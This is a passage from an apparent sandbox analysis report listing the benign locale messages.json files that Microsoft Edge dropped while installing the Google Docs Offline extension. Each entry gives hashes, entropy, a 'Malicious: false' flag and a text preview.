Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
